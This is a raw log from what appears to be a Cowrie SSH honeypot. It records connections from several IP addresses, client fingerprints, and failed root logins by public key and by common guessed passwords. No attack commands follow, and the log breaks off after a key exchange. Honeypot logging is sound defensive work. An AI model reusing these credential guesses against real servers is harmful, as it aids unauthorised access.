{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:7c:25:92:2f:a5:b8:db:d8:be:a5:e7:8c:a4:63:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDB05Nd7dH0clogz33EQ3kQSFBX18pJtm64lu971+6uR49CC5lLm757ZQT6K7XYYl0SwAn8T1lhXAaIz4yRo7l3zgHiHzWQbaFO/mBlKVchmGEsoM5XOWgm8BBLOP04gE/MBlyNzfV1Wi8UVxgHf7zl7JhoXBxYRqZY7ZbpOPHj+MzOCdeiuXxg6hUs7TAW+2F/eFSdEwjON2KV1V1wLVBG2ah0IiBDfDaFBfzHZxvW4aSRPtWFuhd73r4wn28C4PONuCrkhXu1SzHcUWd1aK7TiPNY9JcCERRgCn6AQbBY1baOHRaIWpnBen6TujF0J+GyFH8HLHo4LyTmV+hhij4Rsz76i32D9ueZHQPXp2Tye6RPzNBEecag8U5dA3eulrG9fror4kQoHF/cGi14mIoB2YGstYCTLGfF5jiekKgGQzv/3znsNs5B995FwE7TW+AkjedlHw4ubEyaggjZ/0IcPXZk60XpuGnFzCmRwloTxwCf8aaOdywvWEIO3R4znYLZu5zm0eB+Nxvnz1q0ChaD/a1d3N5OW8lJ56WDzcaa82S5KnX4YHXkxxfpueLdSb+JcamNboypv0o7M7nu4wUjQOAvSk7m9FL5c0gGGDVapnfewn8Cwc2m4VKG1pek/X39XeWC4QP5BTuUlUiObamGI1roNjx+jMgiqPHkEw3r1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.282046Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ab:9c:51:7d:49:9c:42:d9:cb:f9:47:01:33:cd:87:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnGoJznN/UwacBr/1GI3oWxbF6HC2NmwnfkSutHL4VvyI5cUnrXaX0fLfzVDqXOLwG+qxkTPyJdRl88TAvFqD3R+ixUhFfaKB2tY2ITx/psaza3/yw+3zkEGNt3xa7oU/31qmPlRhS6jB70qWwJropvTGbm6GYPQQLhBI5QyNEwVmyMiaFQbwrKzdUPIDchFn5Cj5+9tgsQWsfI1+B7MaDU2Yndkr7aLkxYVjMxPu6AWvIP5PK8ExJMGAfxnERj/R9W3N+lcq/yPXmdIBo/rvNCRtTUprBivrgbkhf0TL4RCEZO/d9CYZ3qxmeaO5mM4xwysyPI1gQFDzXSunfMk9yxkZu3I/OOXOb+gYLCAmmrY0IAyMSuzOnoFSLH3ax4EjGsgv9MCX38wdtGiQl5qj0M6+PMB4EVqZqbbmZz7AwsLzRgGDfNQuqMrwPjxvJOPvZ0sjNcRWYMeuushINpGecUacA24FOuxRD2I/v70hZW7RJbZtPMWRfl0aPU+6jJ6GQPoElyt4SPFWaGA9GRmUvQwDhDbZgXIqYhYHSstx552QzCWEb8/cw6SifLS8EmjO8w2h+OKcVO6Hmc+W7SglvsVZBFHiS0L0Cg1mDzQadDLBKuvN8SoGLbRcm22Y43pw1LIOpT1jcHURlTCJRQJBo9owwzDqjh78EffyP6zEb+w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ab:9c:51:7d:49:9c:42:d9:cb:f9:47:01:33:cd:87:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.399091Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ab:9c:51:7d:49:9c:42:d9:cb:f9:47:01:33:cd:87:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnGoJznN/UwacBr/1GI3oWxbF6HC2NmwnfkSutHL4VvyI5cUnrXaX0fLfzVDqXOLwG+qxkTPyJdRl88TAvFqD3R+ixUhFfaKB2tY2ITx/psaza3/yw+3zkEGNt3xa7oU/31qmPlRhS6jB70qWwJropvTGbm6GYPQQLhBI5QyNEwVmyMiaFQbwrKzdUPIDchFn5Cj5+9tgsQWsfI1+B7MaDU2Yndkr7aLkxYVjMxPu6AWvIP5PK8ExJMGAfxnERj/R9W3N+lcq/yPXmdIBo/rvNCRtTUprBivrgbkhf0TL4RCEZO/d9CYZ3qxmeaO5mM4xwysyPI1gQFDzXSunfMk9yxkZu3I/OOXOb+gYLCAmmrY0IAyMSuzOnoFSLH3ax4EjGsgv9MCX38wdtGiQl5qj0M6+PMB4EVqZqbbmZz7AwsLzRgGDfNQuqMrwPjxvJOPvZ0sjNcRWYMeuushINpGecUacA24FOuxRD2I/v70hZW7RJbZtPMWRfl0aPU+6jJ6GQPoElyt4SPFWaGA9GRmUvQwDhDbZgXIqYhYHSstx552QzCWEb8/cw6SifLS8EmjO8w2h+OKcVO6Hmc+W7SglvsVZBFHiS0L0Cg1mDzQadDLBKuvN8SoGLbRcm22Y43pw1LIOpT1jcHURlTCJRQJBo9owwzDqjh78EffyP6zEb+w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.403617Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:4f:d7:7f:b9:ba:7a:c7:33:6d:e3:43:42:08:9f:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCco0c32nszdCmv7IdFeUXL6MyONwP4WgQhZ5986o6dKB/OEI4nipzUGDbhGYwQ264twNPGi0IaKr6/9SojPJcV1Q5MZ/wWE/az18hFq4mCsHi4d/AN2QHPNF023AWOcwXL9QNOadAmoRokMglzNjhNcbvh9GFR2zx6Xf1FTAXsKDNoznPFw5dUrg0xJxuPaiI/p7kxGNO7/lCHel+l5Nr/nicF+QtMjAIg0CoRJoLzYM+gqHtf2BumZ/45cb046eYhzO9KtdUWenF+qwQnPZx1YvwYuIXQTLbPR/OINpM4rq6safKbl1lvbk+gy9cHKj47btTiDaOTm1K9dm2wzQpJA+YBbCsCXcgMpXquXpSzwmZzhuHX/Zsz24z/vDob1VQnxgRfM/kAQhqoG33mz1QGE4Ozk+JdQCawhusPeH71L76pwPikiYbD5omkWFyN130dzuBjBwnCG4WdGQBm6KFeoMXDM2lJKKAPY8T3gchlYL1zBoZHgs5uebCCSMvKsczpGi2OUo+XXpsfmtkPbVQ7UOvCd1FjnjnKaDkZm8QcVEqsJg+ZcI5xP66XfymemFG2z4SfZerb0Df8lAx2JyX+37la4+eoOz+a3Af0u/C92NfFIVkyUZRnpQy6p6L5dTDKQ1/Qbq+8t48+LaeQJjcjrLq7PdODpAoFgG9YyKvUZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:4f:d7:7f:b9:ba:7a:c7:33:6d:e3:43:42:08:9f:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.521162Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:4f:d7:7f:b9:ba:7a:c7:33:6d:e3:43:42:08:9f:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCco0c32nszdCmv7IdFeUXL6MyONwP4WgQhZ5986o6dKB/OEI4nipzUGDbhGYwQ264twNPGi0IaKr6/9SojPJcV1Q5MZ/wWE/az18hFq4mCsHi4d/AN2QHPNF023AWOcwXL9QNOadAmoRokMglzNjhNcbvh9GFR2zx6Xf1FTAXsKDNoznPFw5dUrg0xJxuPaiI/p7kxGNO7/lCHel+l5Nr/nicF+QtMjAIg0CoRJoLzYM+gqHtf2BumZ/45cb046eYhzO9KtdUWenF+qwQnPZx1YvwYuIXQTLbPR/OINpM4rq6safKbl1lvbk+gy9cHKj47btTiDaOTm1K9dm2wzQpJA+YBbCsCXcgMpXquXpSzwmZzhuHX/Zsz24z/vDob1VQnxgRfM/kAQhqoG33mz1QGE4Ozk+JdQCawhusPeH71L76pwPikiYbD5omkWFyN130dzuBjBwnCG4WdGQBm6KFeoMXDM2lJKKAPY8T3gchlYL1zBoZHgs5uebCCSMvKsczpGi2OUo+XXpsfmtkPbVQ7UOvCd1FjnjnKaDkZm8QcVEqsJg+ZcI5xP66XfymemFG2z4SfZerb0Df8lAx2JyX+37la4+eoOz+a3Af0u/C92NfFIVkyUZRnpQy6p6L5dTDKQ1/Qbq+8t48+LaeQJjcjrLq7PdODpAoFgG9YyKvUZQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.525173Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:d0:4d:f6:9f:e4:b4:c2:0d:2d:20:3d:2b:7a:76:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl/kCTTT+mvt4KdMvm73uolVJPbNEQT8601eeaYgvxUxoEgtiADlKzauWdDcSZ2FyAINoyzbiQE2NChx969Z4e2G68u+YKWB4w+W6FlVhTm+kTlJP9PjI18LMTsxqYPK1Npqrif0a2t0OzvbH+s9td1vKpg5ZxKzPnMn+e9QQ3hIfPrHyLT7LRg3Fc7Asda90q3GKvsCgED7m3T+uRQwOLRP6OCyYB0i96ba/b20vwJuFrij8uTNMMkyZ/aVY3bq+2FsQBWvlE30zEA/Q2TggFZwznvAWriKT3SRUAErbEXwetpNF74nXfhtXZ7fH0OvcC4f9Wovvn3UFIsMT47lD6D6gOqnVErC6Dj+yjWUnAsiJ0cAU8AlytWq/2fLSmZxhsimUhZi33rR9b85gEt0QOQxKBBB5hf2UDPKO6pNvJDo0aN07LTLrWiuFzk3BLDe0ChbVjIUEwMUUIv42L/55TYpSyHnjgLCIQmZ/lx3Pa6Yc6bBxcjXhFuop7sjV629kxne490Vd9cUA/AyJ0F8ffjqzLMS997diw6cUrNGBYLPtip5GCikCgPPoZ9FrgI7sDXGMneLMtpxU3fw8CVhGSgsvNK5pOFufppiAzESoxRof6eLrMXy1KltRm6+usYnYTZoxYwIkpzLjAGl0M35lN3CHYEl0S329xfrdefN0Miw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:d0:4d:f6:9f:e4:b4:c2:0d:2d:20:3d:2b:7a:76:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.639086Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:d0:4d:f6:9f:e4:b4:c2:0d:2d:20:3d:2b:7a:76:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl/kCTTT+mvt4KdMvm73uolVJPbNEQT8601eeaYgvxUxoEgtiADlKzauWdDcSZ2FyAINoyzbiQE2NChx969Z4e2G68u+YKWB4w+W6FlVhTm+kTlJP9PjI18LMTsxqYPK1Npqrif0a2t0OzvbH+s9td1vKpg5ZxKzPnMn+e9QQ3hIfPrHyLT7LRg3Fc7Asda90q3GKvsCgED7m3T+uRQwOLRP6OCyYB0i96ba/b20vwJuFrij8uTNMMkyZ/aVY3bq+2FsQBWvlE30zEA/Q2TggFZwznvAWriKT3SRUAErbEXwetpNF74nXfhtXZ7fH0OvcC4f9Wovvn3UFIsMT47lD6D6gOqnVErC6Dj+yjWUnAsiJ0cAU8AlytWq/2fLSmZxhsimUhZi33rR9b85gEt0QOQxKBBB5hf2UDPKO6pNvJDo0aN07LTLrWiuFzk3BLDe0ChbVjIUEwMUUIv42L/55TYpSyHnjgLCIQmZ/lx3Pa6Yc6bBxcjXhFuop7sjV629kxne490Vd9cUA/AyJ0F8ffjqzLMS997diw6cUrNGBYLPtip5GCikCgPPoZ9FrgI7sDXGMneLMtpxU3fw8CVhGSgsvNK5pOFufppiAzESoxRof6eLrMXy1KltRm6+usYnYTZoxYwIkpzLjAGl0M35lN3CHYEl0S329xfrdefN0Miw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.643118Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:15.757302Z","src_ip":"170.238.136.42","session":"61855d151250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":41820,"dst_ip":"10.17.0.5","dst_port":22,"session":"875826da4ab8","protocol":"ssh","message":"New connection: 43.162.109.147:41820 (10.17.0.5:22) [session: 875826da4ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:21.072303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:21.077252Z","src_ip":"43.162.109.147","session":"875826da4ab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:21.145399Z","src_ip":"43.162.109.147","session":"875826da4ab8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:21.451186Z","src_ip":"43.162.109.147","session":"875826da4ab8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:22.523122Z","src_ip":"43.162.109.147","session":"875826da4ab8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":59470,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7be2b9a51d8","protocol":"ssh","message":"New connection: 200.108.174.4:59470 (159.203.135.109:22) [session: e7be2b9a51d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:24.821869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:24.827322Z","src_ip":"200.108.174.4","session":"e7be2b9a51d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:24.973009Z","src_ip":"200.108.174.4","session":"e7be2b9a51d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:25.586409Z","src_ip":"200.108.174.4","session":"e7be2b9a51d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:26.734761Z","src_ip":"200.108.174.4","session":"e7be2b9a51d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":36134,"dst_ip":"159.203.135.109","dst_port":22,"session":"a556abeb43b7","protocol":"ssh","message":"New connection: 138.99.80.102:36134 (159.203.135.109:22) [session: a556abeb43b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:33.843332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:33.848233Z","src_ip":"138.99.80.102","session":"a556abeb43b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:33.955042Z","src_ip":"138.99.80.102","session":"a556abeb43b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"idc@123","message":"login attempt [root/idc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:34.412340Z","src_ip":"138.99.80.102","session":"a556abeb43b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:35.522685Z","src_ip":"138.99.80.102","session":"a556abeb43b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":59062,"dst_ip":"159.203.135.109","dst_port":22,"session":"54d4e9201742","protocol":"ssh","message":"New connection: 36.95.194.51:59062 (159.203.135.109:22) [session: 54d4e9201742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:35.655596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:35.660862Z","src_ip":"36.95.194.51","session":"54d4e9201742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:35.933609Z","src_ip":"36.95.194.51","session":"54d4e9201742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:37.058586Z","src_ip":"36.95.194.51","session":"54d4e9201742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:38.336033Z","src_ip":"36.95.194.51","session":"54d4e9201742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":39886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb18efec878","protocol":"ssh","message":"New connection: 144.91.86.102:39886 (10.17.0.5:22) [session: ccb18efec878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:48.792213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:48.797235Z","src_ip":"144.91.86.102","session":"ccb18efec878","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:56:48.889969Z","src_ip":"144.91.86.102","session":"ccb18efec878","protocol":"ssh"}
